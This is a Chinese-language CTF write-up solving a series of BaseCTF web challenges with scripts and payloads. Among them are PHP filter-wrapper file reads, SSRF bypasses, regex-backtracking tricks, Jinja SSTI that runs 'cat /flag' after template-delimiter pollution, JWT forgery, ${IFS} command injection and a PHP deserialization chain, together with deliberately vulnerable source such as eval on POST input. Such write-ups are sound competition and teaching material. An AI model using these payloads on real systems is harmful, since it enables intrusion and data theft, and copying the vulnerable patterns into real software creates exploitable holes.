数学大师 经典request脚本题 正则ai就行 注意点就是把×替换为* ÷替换为// 并且开启session cookie 因为判断连续正确依靠cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import reimport requestsurl = "http://gz.imxbt.cn:20429/" sess=requests.session() sess.cookies.set ('PHPSESSID' , 'd5nu0bl94l91naj2i7heme44vu' ) response = sess.get(url) count = 0 for i in range (50 ): match = re.search(r'(\d+)\s*([+\-\*/×÷])\s*(\d+)' , response.text) a, op, b = match .groups() if op == '×' : op = '*' if op == '÷' : op = '//' expr = f"{a} {op} {b} " answer = eval (expr) print (f"第{i + 1 } 题: {expr} = {answer} " ) response = sess.post(url, data={'answer' : str (answer)}) count += 1 if count == 50 : print (response.text)
flag:BaseCTF{f93114a9-c1ea-41a7-b05a-d2bb8e32a9ed}
玩原神玩的 php审计题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__FILE__ );error_reporting (0 );include 'flag.php' ;if (sizeof ($_POST ['len' ]) == sizeof ($array )) { ys_open ($_GET ['tip' ]); } else { die ("错了!就你还想玩原神?❌❌❌" ); } function ys_open ($tip ) { if ($tip != "我要玩原神" ) { die ("我不管,我要玩原神!😭😭😭" ); } dumpFlag (); } function dumpFlag ( ) { if (!isset ($_POST ['m' ]) || sizeof ($_POST ['m' ]) != 2 ) { die ("可恶的QQ人!😡😡😡" ); } $a = $_POST ['m' ][0 ]; $b = $_POST ['m' ][1 ]; if (empty ($a ) || empty ($b ) || $a != "100%" || $b != "love100%" . md5 ($a )) { die ("某站崩了?肯定是某忽悠干的!😡😡😡" ); } include 'flag.php' ; $flag [] = array (); for ($ii = 0 ;$ii < sizeof ($array );$ii ++) { $flag [$ii ] = md5 (ord ($array [$ii ]) ^ $ii ); } echo json_encode ($flag ); }
第一步就是比较len数组的长度是否和flag的长度相同,爆破即可传参
GET:?tip=我要玩原神
POST:len[0]=1&len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=
1
第二步很简单字面意思
GET不变 POST:len[0]=1&len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=1&m[0]=100%25&m[1]=love100%2530bd7ce7de206924302499f197c7a966
%记得url编码
得到列表
最后一步ai给你写个还原脚本就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import hashlibmd5_list = [ "3295c76acbf4caaed33c36b1b5fc2cb1" ,"26657d5ff9020d2abefe558796b99584" ,"73278a4a86960eeb576a8fd4c9ec6997" , "ec8956637a99787bd197eacd77acce5e" ,"e2c420d928d4bf8ce0ff2ec19b371514" ,"43ec517d68b6edd3015b3edc9a11367b" , "ea5d2f1c4608232e07d3aa3d998e5135" ,"c8ffe9a587b126f152ed3d89a146b445" ,"2723d092b63885e0d7c260cc007e8b9d" , "2723d092b63885e0d7c260cc007e8b9d" ,"c9e1074f5b3f9fc8ea15d152add07294" ,"c9e1074f5b3f9fc8ea15d152add07294" , "f0935e4cd5920aa6c7c996a5ee53a70f" ,"65b9eea6e1cc6bb9f0cd2a47751a186f" ,"03afdbd66e7929b125f8597834fa83a4" , "44f683a84163b3523afe57c2e008bc8c" ,"7f39f8317fbdb1988ef4c628eba02591" ,"d67d8ab4f4c10bf22aa353e27879133c" , "6364d3f0f495b6ab9dcf8d3b5c6e0b01" ,"a5771bce93e200c36f7cd9dfd0e5deaa" ,"6c8349cc7260ae62e3b1396831a8398f" , "9f61408e3afb633e50cdf1b20de6f466" ,"e369853df766fa44e1ed0ff613f563bd" ,"d67d8ab4f4c10bf22aa353e27879133c" , "a0a080f42e6f13b3a2df133f073095dd" ,"c8ffe9a587b126f152ed3d89a146b445" ,"b53b3a3d6ab90ce0268229151c9bde11" , "e369853df766fa44e1ed0ff613f563bd" ,"6c8349cc7260ae62e3b1396831a8398f" ,"4c56ff4ce4aaf9573aa5dff913df997a" , "d645920e395fedad7bbbed0eca3fe2e0" ,"c0c7c76d30bd3dcaefc96f40275bdc0a" ,"1ff1de774005f8da13f42943881c655f" , "8e296a067a37563370ded05f5a3bf3ec" ,"7cbbc409ec990f19c78c75bd1e06f215" ,"6f4922f45568161a8cdf4ad2299f6d23" , "1f0e3dad99908345f7439f8ffabdffc4" ,"a3f390d88e4c41f2747bfa2f1b5f87db" ,"3295c76acbf4caaed33c36b1b5fc2cb1" , "735b90b4568125ed6c3f678819b6e058" ,"c74d97b01eae257e44aa9d5bade97baf" ,"6ea9ab1baa0efb9e19094440c317e21b" , "4e732ced3463d06de0ca9a15b6153677" ,"33e75ff09dd601bbe69f351039152189" ,"43ec517d68b6edd3015b3edc9a11367b" ] def md5_str (s: str ) -> str : return hashlib.md5(s.encode()).hexdigest() flag_chars = [] for i, target_md5 in enumerate (md5_list): found = False for c in range (32 , 127 ): val = c ^ i val_str = str (val) if md5_str(val_str) == target_md5: flag_chars.append(chr (c)) found = True break if not found: flag_chars.append('?' ) flag = '' .join(flag_chars) print ("还原的flag:" , flag)
flag:BaseCTF{edbcfd11-6259-40be-91d6-88d17add8407}
1z_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file ('index.php' );$emp =$_GET ['e_m.p' ];$try =$_POST ['try' ];if ($emp !="114514" &&intval ($emp ,0 )===114514 ){ for ($i =0 ;$i <strlen ($emp );$i ++){ if (ctype_alpha ($emp [$i ])){ die ("你不是hacker?那请去外场等候!" ); } } echo "只有真正的hacker才能拿到flag!" ."<br>" ; if (preg_match ('/.+?HACKER/is' ,$try )){ die ("你是hacker还敢自报家门呢?" ); } if (!stripos ($try ,'HACKER' ) === TRUE ){ die ("你连自己是hacker都不承认,还想要flag呢?" ); } $a =$_GET ['a' ]; $b =$_GET ['b' ]; $c =$_GET ['c' ]; if (stripos ($b ,'php' )!==0 ){ die ("收手吧hacker,你得不到flag的!" ); } echo (new $a ($b ))->$c (); } else { die ("114514到底是啥意思嘞?。?" ); } $shell =$_POST ['shell' ];eval ($shell );?>
第一个intval特性 ,传参还考了一个php非法传参,e[m.p=114514,
即可
第二步 绕过正则并且不满足!stripos($try,'HACKER') === TRUE
,当我们传入try=HACKER的时候,会输出你连自己是hacker都不承认,还想要flag呢?
绕不过 使用最大正则回溯
最后 (new $a($b))->$c() 很明显的php使用原生类读文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl = ('http://gz.imxbt.cn:20693/' '?e[m.p=114514.1' '&a=SplFileObject' '&b=php://filter/read=convert.base64-encode/resource=flag.php' '&c=__toString' ) data = { 'try' : 'f' * 1000001 + 'HACKER' } res = requests.post(url=url, data=data) print (res.text)
flag:BaseCTF{07e8680b-b866-4d95-a053-20f723b24c06}
A Dark Room 签到题 ctrl+u即得
Aura 酱的礼物 简单的伪协议和ssrf绕过
POST:pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1&gift=php://filter/convert.base64-encode/resource=flag.php
flag:BaseCTF{e996ff9f-4941-4247-a168-e9aa94e6fd8b}
Back to the future 进去都没有 看看有无robots.txt 有
1 2 User-agent: * Disallow: /.git
直白的git泄露 使用git-dumper https://github.com/arthaud/git-dumper
python3 git_dumper.py http://gz.imxbt.cn:20805/.git/ ./basectf
拉下来发现只有一个README.md,内容是
1 2 3 4 5 # My Website This is my web project. Oops, I place flag here, but i deleted it!
于是我们去查看log
即可得到flag
flag:BaseCTF{1aa62024-5a12-4f55-80fa-cb9c41e1154b}
HTTP 是什么呀 签到题
1 2 3 4 5 6 7 8 9 POST /?basectf=we1c%2500me HTTP/1.1 Host: gz.imxbt.cn:20807 Content-Type: application/x-www-form-urlencoded User-Agent: Base Cookie: c00k13=i can't eat it Referer: Base X-Forwarded-For: 127.0.0.1 Base=fl@g
然后有一个重定向,抓跳转一瞬间的包就行,response里有flag的base64编码
Jinja Mark 首先进入界面提示了/index和/flag路由
/flag路由进去猜幸运数字 爆破就行
可以得到部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 BLACKLIST_IN_index = ['{' ,'}' ] def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) @app.route('/magic' ,methods=['POST' , 'GET' ] ) def pollute (): if request.method == 'POST' : if request.is_json: merge(json.loads(request.data), instance) return "这个魔术还行吧" else : return "我要json的魔术" return "记得用POST方法把魔术交上来"
ssti禁止了{和},就这点来说不能进行ssti了,但是我们还有一个magic路径没用,在/magic路由下污染jinja的语法标识符
1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "app" : { "jinja_env" : { "variable_start_string" : "<<" , "variable_end_string" : ">>" } } } } }
再在/index路径下进行正常的ssti注入就可
1 <<lipsum.__globals__.__builtins__.__import__('os').popen('cat /flag').read()>>
flag:BaseCTF{5e4b7b9a-ce09-49f0-8e43-4efca0964ebd}
No JWT 给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask, request, jsonifyimport jwtimport datetimeimport osimport randomimport stringapp = Flask(__name__) app.secret_key = '' .join(random.choices(string.ascii_letters + string.digits, k=16 )) @app.route('/login' , methods=['POST' ] ) def login (): data = request.json username = data.get('username' ) password = data.get('password' ) token = jwt.encode({ 'sub' : username, 'role' : 'user' , 'exp' : datetime.datetime.utcnow() + datetime.timedelta(hours=1 ) }, app.secret_key, algorithm='HS256' ) return jsonify({'token' : token}), 200 @app.route('/flag' , methods=['GET' ] ) def flag (): token = request.headers.get('Authorization' ) if token: try : decoded = jwt.decode(token.split(" " )[1 ], options={"verify_signature" : False , "verify_exp" : False }) if decoded.get('role' ) == 'admin' : with open ('/flag' , 'r' ) as f: flag_content = f.read() return jsonify({'flag' : flag_content}), 200 else : return jsonify({'message' : 'Access denied: admin only' }), 403 except FileNotFoundError: return jsonify({'message' : 'Flag file not found' }), 404 except jwt.ExpiredSignatureError: return jsonify({'message' : 'Token has expired' }), 401 except jwt.InvalidTokenError: return jsonify({'message' : 'Invalid token' }), 401 return jsonify({'message' : 'Token is missing' }), 401 if __name__ == '__main__' : app.run(debug=True )
一眼JWT伪造,首先去/login拿到原始token
找一个网站https://www.bejson.com/jwt/ 将role改为admin即可
1 2 GET /flag HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzYXV5Iiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzUyNDgzMDc3fQ.T9JaxnAd3WpQucobpUiDPYl52FqfnNiZ7frMu-rCrSs
flag:BaseCTF{d1d644ea-e932-4db8-a1df-e7be8b450e0d}
RCEisamazingwithspace 简单的RCE绕过空格 ${IFS}
POST:cmd=cat${IFS}/flag
flag:BaseCTF{50ef1244-a571-48dc-84f4-0a3cfe832b3c}
Really EZ POP 很简单的pop链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class Sink { private $cmd = "system('cat /flag');" ; } class Shark { private $word ; public function __construct ( ) { $this -> word = new Sink (); } } class Sea { public $animal ; public function __construct ( ) { $this ->animal = new Shark (); } } class Nature { public $sea ; public function __construct ( ) { $this -> sea = new Sea (); } } $a = new Nature ();echo urlencode (serialize ($a ));?>
唯一注意就是private属性外部不可调用
only one sql 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/select|;|@|\n/i' , $sql )) { die ("你知道的,不可能有sql注入" ); } if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); } $query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"" ;system ($query );
可以用show 来查询 database table column 其他的
RCE or Sql Inject